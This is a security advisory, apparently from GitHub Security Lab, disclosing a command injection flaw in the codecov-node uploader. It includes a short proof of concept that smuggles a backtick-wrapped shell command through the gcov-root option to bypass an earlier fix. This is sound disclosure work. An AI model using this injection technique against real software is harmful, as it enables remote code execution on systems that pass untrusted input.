Summary
The upload
method has a command injection vulnerability. Clients of the codecov-node
library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.
Product
Codecov NodeJS Uploader
Tested Version
Commit eeff4e1.
Details
Issue 1: Command injection in upload
The following proof-of-concept illustrates the vulnerability. First install codecov:
npm install codecov
Now create a file with the following contents:
var root = require("codecov");
var args = {
"options": {
'gcov-root': "` touch exploit `",
'gcov-exec': ' ',
'gcov-args': ' '
}
}
root.handleInput.upload(args, function(){}, function(){});
and run it:
node test.js
Notice that a file named exploit
has been created.
Note: we are aware of CVE-2020-7597, but the fix was incomplete. It only blocked &
, but our PoC uses backticks instead to bypass the sanitizer.
Impact
This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.
Remediation
We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile
instead of child_process.exec
.
Coordinated Disclosure Timeline
- 2020-05-19: Emailed report to jwbecher@drazisil.com
- 2020-05-19: jwbecher asked me to resend the email to security@codecov.io
- 2020-07-17: Fixed in version 3.7.1: https://github.com/codecov/codecov-node/security/advisories/GHSA-xp63-6vf5-xf3v
Credit
This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).
Contact
You can contact the GHSL team at securitylab@github.com
, please include GHSL-2020-109
in any communication regarding this issue.